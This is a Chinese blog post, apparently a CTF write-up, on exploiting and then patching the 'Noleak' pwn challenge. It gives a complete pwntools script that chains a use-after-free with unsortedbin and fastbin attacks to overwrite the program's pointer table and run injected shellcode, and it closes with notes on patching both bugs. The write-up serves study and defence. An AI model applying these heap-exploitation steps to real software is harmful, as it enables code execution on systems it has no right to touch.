请注意,本文编写于 1381 天前,最后修改于 616 天前,其中某些信息可能已经过时。
CUMT2020新生赛的复现已经告一段落了,继续回归ADword的pwn题,遵循能做就做,不能做就复现的原则加速自己的学习速度,练习基础的攻击。争取可以发现所有程序漏洞,更好的完成修复工作。主要还是以exp+修复的形式进行练习。
Noleak如同名字所说,本题没有show函数,没有泄露,所以大多数的方法是不适用的。我们先观察整个程序的漏洞,不看不知道,一看头嗡的一下就大了,简直是千疮百孔(只有两个漏洞)。
首先就是free中,只释放了堆的内容,保留了指针,这是个uaf漏洞。
然后就是修改函数中的任意写漏洞,没有检查输入的长度,直接造成了堆溢出。
本题got表不可写,但没有开启NX保护,这意味着我们可以在可执行段注入shellcode。但是由于没有show函数,没法泄露libc基址,是没有办法构造rop链的。经过了仔细地思考,调试,我发现,嗯!我的知识盲区,我选择复现解法。主要是在往malloc_hook上写地址地时候卡住了,因为没有办法泄露libc,通过题解发现其实是可以使用UAF的。
老规矩我们先放上exp,看看整个程序执行的流程:
from pwn import *
context.update(arch='amd64', log_level='debug')
p = process('./timu')
#p = remote('111.198.29.45', 46917)
l = ELF('./libc-2.23.so')
e = ELF('./timu')
def new(size, data):
p.sendlineafter('choice :', '1')
p.sendlineafter('Size', str(size))
p.sendafter('Data', str(data))
def delete(idx):
p.sendlineafter('choice :', '2')
p.sendlineafter('Index', str(idx))
def update(idx, size, data):
p.sendlineafter('choice :', '3')
p.sendlineafter('Index', str(idx))
p.sendlineafter('Size', str(size))
p.sendafter('Data', str(data))
if __name__ == '__main__':
new(0x80, '\n')
new(0x60, '\n')
new(0x10, '\n')
#gdb.attach(p)
delete(0)
update(0, 0x10, p64(0)+p64(0x601060))
new(0x80, 'aaa')#not buf
delete(1)
update(1, 8, p64(0x60106d))
gdb.attach(p)
new(0x60, 'cccc')
new(0x60, '\x00'*3+p64(0x601070)+p64(0x601040))
update(8, 1, '\x10')
update(6, 8, p64(0x601040))
update(9, 256, asm(shellcraft.amd64.sh()))
p.sendlineafter('choice :', '1')
p.sendlineafter('Size', '1')
p.interactive()
本题需要使用的知识点主要是unsortedbin与fastbinattack。由于我们无法直接泄露malloc_hook的地址只能间接的使用没有释放的指针进行操作。
首先我们申请一个大堆,这个堆被释放后会进入unsortedbin。然后释放它,此时因为unsortedbin中只有一个闲置堆,所以他的指针指向自己。由于我们在free时并没有清空指针造成了UAF,所以在释放后,我们依然可以使用编辑操作,对这个堆进行更改。我们将fd=0,bk=0x601060。此时操作系统就会误以为我们的unsortedbin中有两块不连续的堆块。然后重新分配0号堆,系统就会将main_arena的地址挤到了0x601060下方。
由于0x601040处存放的是我们的指针,此时就相当于我们拥有了一个地址在0x7f6ac5064b78的6号堆块。等会只需要将低两位更改为10就可以直接在malloc_hook处进行编辑了。(因为虽然程序开启了地址随机化,但是低两位的偏移是不会发生改变的)
new(0x80, '\n')
new(0x60, '\n')
new(0x10, '\n')
#gdb.attach(p)
delete(0)
update(0, 0x10, p64(0)+p64(0x601060))
new(0x80, 'aaa')#not buf
之后就是shellcode的问题了,这里我们使用fastbinattack。我们首先要伪造一个fastbin空闲的链条,使得我们的堆可以被分配到bss段中。我们先正常释放我们的fastbin。
之后修改我们的指针,将一个假的fastbin接到链条上。
此时我们只要将fastbin分配再分配出去即可。这里有一个小知识点,就是fastbin的的检测机制。他每次他分配的时候,会检测堆块的size,假若size不匹配,会中断程序。所以我们要绕过检测机制,必须要保证size位为0x7@(@为任意值)才可以通过校验。所以我们的地址选择了0x60106d。之后我们控制了整块buf的地址,我们可以实现任意地址写了。
注入shellcode,控制程序跳转即可。
首先我们来修复uaf,我们需要让程序在free的时候顺带把表中的指针也释放掉。我们依然使用eh_frame段,修复很简单,只需要将标志位置零即可。
之后来看比较恶心的堆溢出修复,这个程序的这个地方我没有很完美的修好,但是肯定是解决了大部分问题,这里之后细说。
这个修复与PWN5的还有点不一样,PWN5他用拥有很棒的数据结构,他在每次输入之后,都将堆块的大小保存在了bss段。但是这个程序比较的恶心,他没有任何地方储存了堆块大小。所以我们需要修复要分为两步:
这里就比较难受了,因为eh_frame段只有执行权限,并没有读写权限。所以我们不得不找另一段空间开辟数组。bss段显然是不可能的,bss段只有存放指针的地方,被塞的满满的。最后我只在data段找到了一个不知道有啥用的空间,但是这个空间只有8字节,意味着我们并不能保存10个数据。
但是我确实没想到还有啥地方可以保存,我就先这么修了,之后研究研究能不能更改程序的权限。之后如果解决了,我会回头再补上这个地方。
全部评论 (暂无评论)
info 还没有任何评论,你来说两句呐!